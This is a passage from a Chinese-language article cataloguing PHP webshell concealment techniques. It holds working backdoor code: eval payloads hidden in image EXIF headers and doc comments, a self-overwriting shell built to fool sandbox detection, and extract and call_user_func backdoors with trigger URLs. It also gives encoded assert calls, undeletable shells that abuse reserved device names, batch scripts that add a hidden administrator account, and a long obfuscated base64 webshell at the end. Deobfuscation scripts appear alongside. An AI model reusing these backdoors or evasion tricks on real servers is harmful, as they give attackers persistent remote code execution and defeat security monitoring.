        不少開源框架都有相似上面這段功能的代碼,用於將用戶輸入的參數進行批量的本地化
        可是這也每每致使了"本地變量覆蓋漏洞"
        同時也能夠被黑客用來在本來正常的文件中插入
            parse_str($result);
            $sys($command);
        這段代碼來進行getshell
    */
    ..
    parse_str($result);
    $sys($command);
?>
http://localhost/shell/index.php?sys=system&command=dir

0x30: 基於圖片文件非可顯示字段(例如圖片頭meta)部署PHP圖片木馬

和傳統的把php代碼type進圖片不同,這裏介紹另外一種圖片木馬的利用方式。
圖片木馬相關知識
http://en.wikipedia.org/wiki/Exchangeable_image_file_format
http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html
Malware Hidden Inside JPG EXIF Headers  
http://cn2.php.net/manual/zh/function.exif-read-data.php
exif_read_data
exif_read_data() 函數從 JPEG 或 TIFF 圖像文件中讀取 EXIF 頭信息。這樣就能夠讀取數碼相機產生的元數據

<?php
    echo "img.jpg:<br />\n";
    $exif = exif_read_data('img.jpg', 'IFD0');
    //IFD0     全部 IFD0 的標記數據。在標準的圖像文件中這包含了圖像大小及其它。
    echo $exif===false ? "No header data found.<br />" : "Image contains headers<br />";
    echo "<br />";

    //FILE    FileName, FileSize, FileDateTime, SectionsFound
    $exif = exif_read_data('img.jpg', 'FILE', true);
    echo "img.jpg:<br />\n";
    foreach ($exif as $key => $section)
    {
        foreach ($section as $name => $val)
        {
            echo "$key.$name: $val<br />\n";
        }
        echo "<br />";
    }
?>

這裏提出了一種隱藏webshell的新思路
1. 和傳統的圖片木馬不同,傳統的圖片木馬就是簡單的利用type命令把webshell代碼接在一個正常的圖片尾部,而後在另外一個腳本中使用include包含進來,PHP解析解析引擎會忽略在
  PHP看來毫無心義的圖片數據的亂碼,而去執行在文件結尾的PHP代碼,這是一種很好的利用方式
2. 而關於這種圖片木馬,能夠有一種更加精確的利用方式,圖片(也就是EXIT格式的文件)的每一個區段都是有精確意義的,咱們能夠將咱們的webshell準確地放置在這些指定的區域,
  而後使用exif_read_data去讀取讀取出來,而後使用preg_replace的"e"開關去動態執行,或者使用動態函數去動態執行 3. 這個能夠用來規避include那種類型的黑名單檢測 將webshell代碼放置在EXIT的頭部區域中,這裏挑選: IFD0-> 1. ImageDescription: /.*/e 2. Subject: eval(\$_POST[1]) (注意這裏要使用winhex來進行ASCII字符的修改) <?php //FILE FileName, FileSize, FileDateTime, SectionsFound $exif = exif_read_data('img.jpg', 'FILE', true); var_dump($exif['IFD0']['ImageDescription']); var_dump($exif['IFD0']['Subject']); preg_replace($exif['IFD0']['ImageDescription'], $exif['IFD0']['Subject'],''); //die(); ?>

 0x31: 將數據放在註釋中並利用反射機制獲取webshellcode

http://www.8090sec.com/suixinbiji/111568.html
黑客將webshell放到了/**/註釋中,而後利用類的反射機制獲取到,進行動態函數的執行
PHP的反射類機制
ReflectionClass
http://cn2.php.net/manual/zh/reflectionclass.construct.php

ReflectionClass::getDocComment — 獲取文檔註釋
http://cn2.php.net/manual/zh/reflectionclass.getdoccomment.php

這是最終的poc
<?php  
    /**   
    * eval($_POST[1]);
    */  
    class TestClass { }  
    $rc = new ReflectionClass('TestClass');  
    //獲取當前文檔的註釋
    $comment = $rc->getDocComment();
    //die(var_dump($comment));

    $pos = strpos($comment,'eval');
    //die(var_dump($pos));  

    $eval=substr($comment,$pos,16);  
    //die($eval);
    eval($eval);
?>

更高級一點的用法,現有的webshell檢測系統會基於文本特徵進行匹配,爲了對抗這個防護策略,原則上來講,黑客想要作的是將本來的webshell代碼進行加花、換行、大小寫變形,可是在通常狀況下,PHP代碼若是被變形了(例如換行)就沒法正常執行了。可是在反射類利用姿式這個case下,代碼的變造成爲了可能

黑客在註釋中能夠任意插入花指令、換行等字符來繞過現有的特徵檢測機制
<?php
    /**
    * eva
    * l($_GE
    * T["c"]);
    * asse
    * rt
    */
    class TestClass { }
    $rc = new ReflectionClass('TestClass');
    $str = $rc->getDocComment();
    die(var_dump($str));
    $evf=substr($str,strpos($str,'e'),3);
    $evf=$evf.substr($str,strpos($str,'l'),6);
    $evf=$evf.substr($str,strpos($str,'T'),8);
    $fu=substr($str,strpos($str,'as'),4);
    $fu=$fu.substr($str,strpos($str,'r'),2);
    $fu($evf);
?> 

0x32: webshell多態技術: 自毀型webshell

毀性WebShell
<?php
    /*
        如今的PHP的webshell的檢測基本用的是對PHP執行引擎進行hook進行動態檢測
        即咱們構造出一個沙箱,讓目標腳本在裏面執行一次,而後對執行的結果進行判斷
        而咱們的沙箱在觸發這個腳本執行的時候因爲沒有給定準確的參數"code",就會致使毀滅性覆寫"fwrite ($fp, $content)"的結果
        這樣,沙箱的執行結果就是一個普通的文本"helloworld"

        而後,管理員再去查看這個文件的時候,看到的就只是一個"helloworld"了

        這個是很針對"PHP的動態沙箱檢測"的繞過的

        反而利用了沙箱的機制,沙箱致使了文件的毀壞
    */

    //$url = $_SERVER['PHP_SELF'];
    //$filename = end(explode('/',$url));
    //die($filename);
    if($_REQUEST["code"]==pany)
    {
        echo str_rot13('riny($_CBFG[pzq]);');
        eval(str_rot13('riny($_CBFG[pzq]);'));
    }
    else
    {
        $url = $_SERVER['PHP_SELF'];
        $filename = end(explode('/',$url));
           
        $content = 'helloworld';
        $fp = fopen ("$filename","w");
        if (fwrite ($fp, $content))
        {
            fclose ($fp);
            die ("error");
        }
        else
        {
            fclose ($fp);
            die ("good");
        }
        exit;
    }
?>

0x33: 利用本地變量註冊技術 

ttp://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html
利用extract函數將輸入數據註冊爲本地變量,而後利用PHP的動態執行特性進行動態函數執行
http://www.php.net/manual/en/function.extract.php
<?php
    @extract ($_REQUEST);
    @die($ctime($atime));
?>
http://localhost/test/index.php?ctime=assert&atime=phpinfo()

0x34: 關於本地變量註冊技術的利用姿式

HP中有三種姿式可能致使本地變量註冊,進而利用PHP的動態函數執行技巧進行WEBSHELL的構造
1) extract
2) parse_str
3) foreach(..) { $$key = $value; }
這三種在本文中都給出了相應例子 

0x35: 利用PHP的邏輯運算符進行WEBSHELL的編碼 

http://worm.cc/PHP中使用按位取反函數建立後門.html
WEBSHELL代碼
<?php
    $x = ~"žŒŒš‹";
    $y = ~"—–‘™×Ö";
    $x($y);
?>

生成原理
<?php
    echo ~"assert";
    echo ~"phpinfo()";
?>
注意這個文件必定要保存爲ANSI格式

而後在瀏覽器端選擇西方ISO-8859-1

這是一種利用數學運算符來進行WEBSHELL隱藏的一個思路,觸類旁通,還可使用其餘的數學運算符來進行類似的隱藏效果

0x36: 利用PHP擴展隱藏後門WEBSHELL木馬

這種狀況須要黑客已經對目標服務器具備必定的控制權,能夠修改目標服務器的php.ini而且能夠上傳擴展文件.so、.dll到指定目錄下。這種擴展型的後門木馬的效果很是好,
對靜態檢測程序、和動態沙箱檢測程序的bypass特性都有很好的
表現。技術上說,這種利用PHP擴展隱藏後門的方法還有分爲兩種   
1) 編寫擴展程序,Hook某些核心的PHP函數的執行流,並經過檢測網絡流量中是否出現指定的關鍵字(例如攻擊者能夠指定pwd:做爲命令的觸發標識)來決定是啓動後門程序,並執行指令   2) 編寫擴展程序,生成一些新的函數(例如backdoor_eval()),這樣,黑客就能夠在本身的WEBSHELL.PHP中調用這種函數,從而躲避靜態檢測程序的檢測 http://www.kissthink.com/archive/3482.html

0x37: 猥瑣流PHP層層加密隱藏 

http://blog.wangzhan.360.cn/?p=65

0x38: 利用很是規字符集來繞過"關鍵字檢測正則"的防護(包括神盾加密在內的主流在線加密工具基本都採用變量/函數/類名混淆的方式實現隱藏)

http://www.cnblogs.com/52cik/p/php-variable-character.html
http://www.cnblogs.com/52cik/p/php-phpdp-thinking.html
http://www.php.net/manual/zh/language.variables.basics.php
http://x95.org/decryption-phpdp-and-phpjm.html
這種基於字符集的bypass思路是一種很好的技巧,能夠繞過不少基於"指定模式的正則匹配"的webshell檢測軟件

1. 神盾加密解密方案

<?php
$str = file_get_contents("Code.php");

// 第一步 替換全部變量
// 正則 \$[a-zA-Z_\x7f-\xff][\w\x7f-\xff]*
preg_match_all('|\$[a-zA-Z_\x7f-\xff][\w\x7f-\xff]*|', $str, $params) or die('err 0.');
$params = array_unique($params[0]); // 去重複
$replace = array();
$i = 1;
foreach ($params as $v) {
    $replace[] = '$p' . $i;
    tolog($v . ' => $p' . $i); // 記錄到日誌
    $i++;
}
$str = str_replace($params, $replace, $str);


// 第二步 替換全部函數名
// 正則 function ([a-zA-Z_\x7f-\xff][\w\x7f-\xff]*)
preg_match_all('|function ([a-zA-Z_\x7f-\xff][\w\x7f-\xff]*)|', $str, $params) or die('err 0.');
$params = array_unique($params[1]); // 去重複
$replace = array();
$i = 1;
foreach ($params as $v) {
    $replace[] = 'fun' . $i;
    tolog($v . ' => fun' . $i); // 記錄到日誌
    $i++;
}
$str = str_replace($params, $replace, $str);

// 第三步 替換全部不可顯示字符
function tohex($m) {
    $p = urlencode($m[0]); // 把全部不可見字符都轉換爲16進制、
    $p = str_replace('%', '\x', $p);
    $p = str_replace('+', ' ', $p); // urlencode 會吧 空格轉換爲 + 
    return $p;
}
$str = preg_replace_callback('|[\x00-\x08\x0e-\x1f\x7f-\xff]|s', "tohex", $str);

// 寫到文件
file_put_contents("Code.decode.php", $str);

function tolog($str) {
    file_put_contents("replace_log.txt", $str . "\n", FILE_APPEND);
}
?>

2.  找源碼解密

<?php
$file = 'plugin.php';  //要破解的文件


$fp = fopen($file, 'r');
$str = fread($fp, filesize($file));
fclose($fp);

copy($file, '0_'.$file);

$n = 1;
while($n < 10){
    $code = strdecode($str);
    if($n == 1){
        $code = str_replace("__FILE__", "'0_$file'", $code);
    }
    
    $replace = '$decode'.$n.'=trim';
    if(strpos($code, 'eval(') > 0){
        $code = str_replace('eval(', $replace.'(', $code);
    }else{
        preg_match("/@\\$(.*)\(\\$(.*),(.*)\(/isU", $code, $res);
        $code = str_replace($res[3], "'$replace", $code);
    }
    
    $code = preg_replace('/\\$(.*)=false;(.*?)\(\);/', '', $code); //上一版本
    $code = preg_replace('/\|\|@\\$(.*?)\(\);/', '|| print("ok");', $code);
    
    $code = destr($code);
    $tmp_file = 'detmp'.$n.'.php';
    file_put_contents($tmp_file, $code);
    include($tmp_file);

    $val = 'decode'.$n;
    $str = $$val;
    
    unlink($tmp_file);
    
    if(strpos($str, ';?>') === 0){
        $decode = $str;
        break;
    }
    
    $str = "<?php\r\n". $str;
    $n++;
}


$decode = preg_replace("/^(.*)exit\('Access Denied'\); /", "<?php\r\n", $decode);
$del = strrchr($decode, 'unset');
$decode = str_replace($del, "\r\n?>", $decode);
file_put_contents($file.'.de.php' ,$decode);
unlink('0_'.$file);
echo 'done';

////////////
function val_replace($code, $val, $deval){
    $code = str_replace('$'.$val.',', '$'.$deval.',', $code);
    $code = str_replace('$'.$val.';', '$'.$deval.';', $code);
    $code = str_replace('$'.$val.'=', '$'.$deval.'=', $code);
    $code = str_replace('$'.$val.'(', '$'.$deval.'(', $code);
    $code = str_replace('$'.$val.')', '$'.$deval.')', $code);
    $code = str_replace('$'.$val.'.', '$'.$deval.'.', $code);
    $code = str_replace('$'.$val.'/', '$'.$deval.'/', $code);
    $code = str_replace('$'.$val.'>', '$'.$deval.'>', $code);
    $code = str_replace('$'.$val.'<', '$'.$deval.'<', $code);
    $code = str_replace('$'.$val.'^', '$'.$deval.'^', $code);
    $code = str_replace('$'.$val.'||', '$'.$deval.'||', $code);
    $code = str_replace('($'.$val.' ', '($'.$deval.' ', $code);
    return $code;
}

function fmt_code($code){
    global $vals,$funs;
    preg_match_all("/\\$[0-9a-zA-Z\[\]']+(,|;)/iesU", $code, $res);
    foreach($res[0] as $v){
        $val = str_replace(array('$',',',';'), '', $v);
        $deval = destr($val, 1);
        $vals[$val] = $deval;
        $code = val_replace($code, $val, $deval);
    }

    preg_match_all("/\\$[0-9a-zA-Z\[\]']+=/iesU", $code, $res);
    foreach($res[0] as $v){
        $val = str_replace(array('$','='), '', $v);
        $deval = destr($val, 1);
        $vals[$val] = $deval;
        $code = val_replace($code, $val, $deval);
    }

    preg_match_all("/function\s[0-9a-zA-Z\[\]]+\(/iesU", $code, $res);
    foreach($res[0] as $v){
        $val = str_replace(array('function ','('), '', $v);
        $deval = destr($val, 1);
        $funs[$val] = $deval;
        $code = str_replace('function '.$val.'(', 'function '.$deval.'(', $code);
        $code = str_replace('='.$val.'(', '='.$deval.'(', $code);
        $code = str_replace('return '.$val.'(', 'return '.$deval.'(', $code);
    }
    return $code;
}

function strdecode($str){
    $len = strlen($str);
    $newstr = '';
    for($i=0; $i<$len; $i++){
        $n = ord($str[$i]);
        $newstr .= decode($n);
    }
    return $newstr;
}

function decode($dec){
    if(($dec > 126 || $dec<32) && $dec<>13 && $dec<>10){
        return '['.$dec.']';
    }else{
        return chr($dec);
    }
}

function destr($str, $val=0){
    $k = 0;
    $num = '';
    $n = strlen($str);
    $code = '';
    for($i=0; $i<$n; $i++){
        if($str[$i] == '[' && ($str[$i+1]==1 || $str[$i+1]==2)){
            $k = 1;
        }elseif($str[$i] == ']' && $k==1){
            $num = intval($num);
            if($val==1){
                $num = 97 + fmod($num, 25);
            }
            $code .= chr($num);
            $k = 0;
            $num = null;
        }else{
            if($k == 1){
                $num .= $str[$i];
            }else{
                $code .= $str[$i];
            }
        }
    }
    return $code;
}
?> 

Relevant Link:

http://www.cnblogs.com/52cik/p/php-phpdp-thinking.html
http://www.phpdp.org/
http://www.zhaoyuanma.com/phpencode.html

0x39: 利用ReflectionFunction反射進行動態函數執行 

http://php.net/manual/zh/class.reflectionfunction.php
http://php.net/manual/zh/reflectionfunction.invokeargs.php
<?php
    $func = new ReflectionFunction("system");
    echo $func->invokeArgs(array("$_GET[c]"));
?>

 0x40: 基於Winapi 函數FindFirstFile()致使的畸形文件名

https://code.google.com/p/pasc2at/wiki/SimplifiedChinese
http://www.2cto.com/Article/201407/320879.html
能夠利用下面的腳原本生成一個"畸形文件名"
<?php
    for ($j=0; $j<256; $j++) 
    {
        for ($i=0; $i<256; $i++) 
        {
            /*
            確保在當前目錄下有一個"1.php"文件
            */
            $url = '1.p' . chr($j) . chr($i);
            $tmp = @file_get_contents($url);
            if (!empty($tmp)) 
            {
                echo "1.p" . chr($j) . chr($i) . "<br/>";
            }
        }
    }
?>
result(獲得的結果):
1.p><
1.p>>
1.p>P
1.p>p
1.pH<
1.pH>
1.pHP
1.pHp
1.ph<
1.ph>
1.phP
1.php
1.p< 
1.p<"
1.p<.
1.p<<
1.p<>

對於這種利用方式,咱們只能說這樣獲得的文件擴展名都是能夠被windows正確解析的,存在從而來進行bypass那些過濾了文件擴展名的webshell檢測機制,可是要真正地利用它發動攻擊,我以爲還有不少限制
1. 這個issue只能在windows上才存在
2. 可是windows的文件系統明確禁止了一些特殊字符做爲文件名
    1) <
    2) >
    3) .(雖然沒有禁止,可是會被windows自動刪除)
    4) *
3. 因此理論上咱們根本沒辦法在磁盤上寫入這樣的畸形後綴的文件,bypass也就無從談起

0x41: webshell中的不死殭屍 

利用系統保留文件名建立沒法刪除的webshell
Windows 下不可以如下面這些字樣來命名文件/文件夾:
1. aux
2. prn
3. con
4. nul
5. com1
6. com2
7. com3
8. com4
9. com5
10. com6
11. com7
12. com8
13. com9
14. lpt1
15. lpt2
16. lpt3
17. lpt4
18. lpt5
19. lpt6
20. lpt7
21. pt8
22. lpt9
可是經過cmd的copy命令便可實現
D:\wwwroot>copy rootkit.asp \\.\D:\wwwroot\lpt6.shell.asp 
注意: 前面必須有"\\.\" 
這類文件沒法在圖形界面刪除,只能在命令行下刪除:
D:\wwwroot>del \\.\D:\wwwroot\lpt6.shell.asp
然而在IIS中,這種文件又是能夠解析成功的。Webshell中的 "不死殭屍" 原理就在這

0x42: 利用組策略的自動執行腳本隱藏webshell 

準備開關機腳本  
關機.bat
@echo off
net user hxhack 123456/add
net localgroup administrators hxhack/add
    
啓動.bat
@echo off
net user hxhack/del
 
啓用開關機腳本
1. 點擊"開始"菜單-運行",輸入命令"gpedit.msc",回車後打開組策略編輯器程序窗口
2. 依次展開"計算機配置"-"windows設置"-"腳本(啓動/關機)"項目
3. 雙擊右側的"啓動"。打開啓動腳本設置對話框。點擊"顯示文件"按鈕,將會自動打開系統啓動腳本目錄
4. 將剛纔創建的"啓動.bat"移動到此文件夾中。而後關閉文件夾窗口。在啓動腳本對話框中。點擊"添加"按鈕,瀏覽指定當前目錄下的開機腳本文件"啓動.bat"5. 點擊肯定按鈕。完成添加。再點擊"應用"按鈕,使用當前啓動設置。關閉啓動腳本設置對話框。而後雙擊組策略編輯器中的"關機"項目,打開關機腳本設置對話框,用一樣的方法添加關機腳本爲"關機.bat"。最後關閉組策略編輯器 

待研究

https://github.com/tennc/webshell
https://github.com/JohnTroony/php-webshells

0x43: 利用PHP自定義函數回調執行webshell

<?php
    if(key($_GET)=='dede')
        //call_user_func($_GET['dede'], "@eval($_POST[bs]);");
        call_user_func($_GET['dede'], base64_decode('QGV2YWwoJF9QT1NUW2JzXSk7'));
?>
http://php.net/manual/zh/function.call-user-func.php

<?php 
    //call_user_func($_GET['dede'], "@eval($_POST[bs]);");
    call_user_func($_GET['dede'], base64_decode('QGV2YWwoJF9QT1NUW2JzXSk7')); 
?>
http://localhost/test/test.php?dede=assert

0x44: 利用PHP擴展定界標籤實現正則檢測繞過

PHP是一種和HTML混編的腳本語言,它容許的定界標籤以下

1. <?php echo 'if you want to serve XHTML or XML documents, do it like this'; ?>
//永遠可用
2. <?php echo 'if you want to serve XHTML or XML documents, do it like this';
//PHP容許半閉合

3. <script language="php"> echo "some editors (like FrontPage) don't like processing instructions"; </script> //永遠可用
4. <script language='php'> echo "some editors (like FrontPage) don't like processing instructions"; </script> //單引號
5. <script language=php> echo "some editors (like FrontPage) don't like processing instructions"; </script> //無引號
6. <script language="php"> echo "some editors (like FrontPage) don't like processing instructions";  //除非在當前文件的最末尾,不然必需要求結束標籤訂界符


6. <? echo 'this is the simplest, an SGML processing instruction'; ?>
7. <?= expression ?> This is a shortcut for "<? echo expression ?>"
//僅在經過 php.ini 配置文件中的指令 short_open_tag 打開後纔可用,或者在 PHP 編譯時加入了 --enable-short-tags 
8. <? echo 'this is the simplest, an SGML processing instruction';
9. <?= expression  
//容許半閉合

10. <% echo 'You may optionally use ASP-style tags'; %>
11. <%= $variable; # This is a shortcut for "<% echo . . ." %>
//僅在經過 php.ini 配置文件中的指令 asp_tags 打開後纔可用
12. <% echo 'You may optionally use ASP-style tags';
13. <%= $variable; 
//容許半閉合

爲了更好地理解PHP詞法解析引擎處理PHP標籤訂界符的原理,咱們從PHP內核源代碼的層面出發進行討論

http://www.cnblogs.com/LittleHann/p/4513842.html
//搜索:2. PHP標籤解析

Relevant Link:

http://php.net/manual/zh/language.basic-syntax.phpmode.php

0x55: 基於XML格式變種的WEBSHELL

xml在發展中派生出了一系列標準,包括

1. DTD
2. XSD
3. XDR
4. XPATH
5. XSLT 

XSLT全稱爲拓展樣式錶轉換語言,其做用相似於css,經過指定的規則,將一個xml文檔轉換爲另外的形式。指定的規則由另一個xml文件描述,這個文件一般爲xsl後綴。xsl語法相對較爲複雜
爲了對目標節點進行處理,XSLT提供了一系列用於處理XML節點的內置函數

xml: 
<?xml version="1.0"?>
<root>123</root>

xsl: 
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/root">
    <xsl:value-of select="string(.)"/>
  </xsl:template>
</xsl:stylesheet>

xsl文件中xsl:template節點描述了匹配規則,其match屬性爲一個XPATH,表示匹配的xml節點。xsl:value-of描述了轉換規則,會將對前一步所匹配的節點做爲參數傳入select屬性指定的函數中,參數.表示所匹配的節點。 對以上xml和xsl進行轉換,將輸出如下結果

<?xml version="1.0" encoding="UTF-16"?>123

在有些狀況下,內置函數沒法知足全部的需求。爲了拓展XSLT的功能,絕大部分XSL轉換器都提供了腳本拓展功能。根據轉換器的不一樣,其腳本有所差別,所支持的功能也有所不一樣。 在必定程度上,一個對象的安全性與複雜性是成反比的。合法功能的非預期利用是漏洞,惡意利用則可能成爲隱蔽的後門。XSLT的腳本執行功能,就是這樣一個可能的後門。

Relevant Link:

http://drops.wooyun.org/tips/5799

0x56: 防篡改WEBSHELL

<?php /* Powered by www.qibosoft.com */$lll11l11l11l11l1=__FILE__;eval(base64_decode('JGxsMTFsbGwxMWxsbGwxMWw9Zm9wZW4oJGxsbDExbDExbDExbDExbDEsJ3JiJyk7ZnJlYWQoJGxsMTFsbGwxMWxsbGwxMWwsMjE2MCk7JGxsMWxsbGwxMTExMTExMWw9ZXhwbG9kZSgiXHQiLGJhc2U2NF9kZWNvZGUoZnJlYWQoJGxsMTFsbGwxMWxsbGwxMWwsMjcyKSkpOw=='));$lll111111ll1l1ll=$ll1llll11111111l[0];$l1ll11lllll1ll1l=$lll111111ll1l1ll{2}.$lll111111ll1l1ll{5}.$lll111111ll1l1ll{8}.$lll111111ll1l1ll{11}.$lll111111ll1l1ll{14}.$lll111111ll1l1ll{17}.$lll111111ll1l1ll{20}.$lll111111ll1l1ll{23}.$lll111111ll1l1ll{26}.$lll111111ll1l1ll{29}.$lll111111ll1l1ll{32}.$lll111111ll1l1ll{35}.$lll111111ll1l1ll{38};$l11llll111l1l11l=$l1ll11lllll1ll1l($ll1llll11111111l[1]);$l1l11111ll1l1l1l=$l1ll11lllll1ll1l($l11llll111l1l11l{2}.$l11llll111l1l11l{5}.$l11llll111l1l11l{8}.$l11llll111l1l11l{11}.$l11llll111l1l11l{14}.$l11llll111l1l11l{17}.$l11llll111l1l11l{20}.$l11llll111l1l11l{23});$lll1ll11l11l1ll1=$l1ll11lllll1ll1l($ll1llll11111111l[2]);$l111ll111lll1111=$l1ll11lllll1ll1l($lll1ll11l11l1ll1{2}.$lll1ll11l11l1ll1{5}.$lll1ll11l11l1ll1{8}.$lll1ll11l11l1ll1{11}.$lll1ll11l11l1ll1{14}.$lll1ll11l11l1ll1{17}.$lll1ll11l11l1ll1{20}.$lll1ll11l11l1ll1{23});$ll1lll1lll111111=$l1ll11lllll1ll1l($ll1llll11111111l[3]);$ll11llllll1lllll=$l1ll11lllll1ll1l($ll1lll1lll111111{2}.$ll1lll1lll111111{5}.$ll1lll1lll111111{8}.$ll1lll1lll111111{11}.$ll1lll1lll111111{14}.$ll1lll1lll111111{17}.$ll1lll1lll111111{20}.$ll1lll1lll111111{23});$lll1ll11l1111l11=$l1ll11lllll1ll1l($ll1llll11111111l[4]);$ll1111l11l11llll=$l1ll11lllll1ll1l($lll1ll11l1111l11{2}.$lll1ll11l1111l11{5}.$lll1ll11l1111l11{8}.$lll1ll11l1111l11{11}.$lll1ll11l1111l11{14}.$lll1ll11l1111l11{17}.$lll1ll11l1111l11{20}.$lll1ll11l1111l11{23});$llll11l1ll111l1l=$l1ll11lllll1ll1l($ll1llll11111111l[5]);$llllll1l11llllll=$l1ll11lllll1ll1l($llll11l1ll111l1l{2}.$llll11l1ll111l1l{5}.$llll11l1ll111l1l{8}.$llll11l1ll111l1l{11}.$llll11l1ll111l1l{14}.$llll11l1ll111l1l{17}.$llll11l1ll111l1l{20}.$llll11l1ll111l1l{23});eval($l1ll11lllll1ll1l('JGxsMTFsbGxsbGwxbGxsbGwoJGxsMTFsbGwxMWxsbGwxMWwsMTcpO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJGxsMTFsbGxsbGwxbGxsbGwoJGxsMTFsbGwxMWxsbGwxMWwsMjMyKSkpOw=='));return ;?>dGFiMWVhYjlzY2RlYjg2dG00cXVfZWJkY2ZlanFjMnZvdHBkdndlCU5UWmFjM0p0ZVRnNWJXbDNZV0phYkhsWGNIazBkWE05CWVHNWFPV050WWpGa2NYTnNhbkZrWm1oSVkzaE5jbkU5CWRucGFNVEZ1YW1KS2NIUnNabUpaYm1wWFpIQlJkMjQ5CU9HSmpZV3N6YjJ0U2FXMTVjSE5rYkdWSWMyaEpaSFk5CVoydGFkR0Z0YzNZNVlubDNjbnBhTjNSWGNtczBNbXM54bSULjFL6pblYuIkpO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qQXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=AhDBms0qm82LqpqMrHT1O2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01UQXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=tGLOYY5fUpO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01UY3BPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=JqjcRhp75i6Lf4MwjO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qQXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=yS0ttoM7R7SDkJpvuNKUO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01USXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=vMCvyQqBIgcoO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01UY3BPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=agQLu9pzZf25xZjXjO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01UVXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=WOmDsuNvUYJUFK3O2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qQXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=hx7OShbiw40pgFI3OeYhO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01UQXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=lErzbn3Vk5O2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01USXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qazJLU2twT3c9PScpKTs=U5zJkvgx0MBjZXZhbCgkbDFsbDExbGxsbGwxbGwxbCgnSkd4c01URnNiR3hzYkd3eGJHeHNiR3dvSkd4c01URnNiR3d4TVd4c2JHd3hNV3dzTVRncE8yVjJZV3dvSkd3eGJHd3hNV3hzYkd4c01XeHNNV3dvSkd4c01URnNiR3hzYkd3eGJHeHNiR3dvSkd4c01URnNiR3d4TVd4c2JHd3hNV3dzTVRNNE9Da3BLVHNrYkd4c2JHeHNNV3d4TVd4c2JHeHNiQ2drYkd3eE1XeHNiREV4Ykd4c2JERXhiQ2s3JykpOw==Orb94oK1BBaoF8cySgaWYoJF9QT1NUWydteXB3ZCddKXsNCglyZXF1aXJlX29uY2UoZGlybmFtZShfX0ZJTEVfXykuIi8uLi8uLi9pbmMvcXEuYXBpLnBocCIpOw0KCUBldmFsKHFxbWQ1KCJVVjlBR3g0ZlhrRV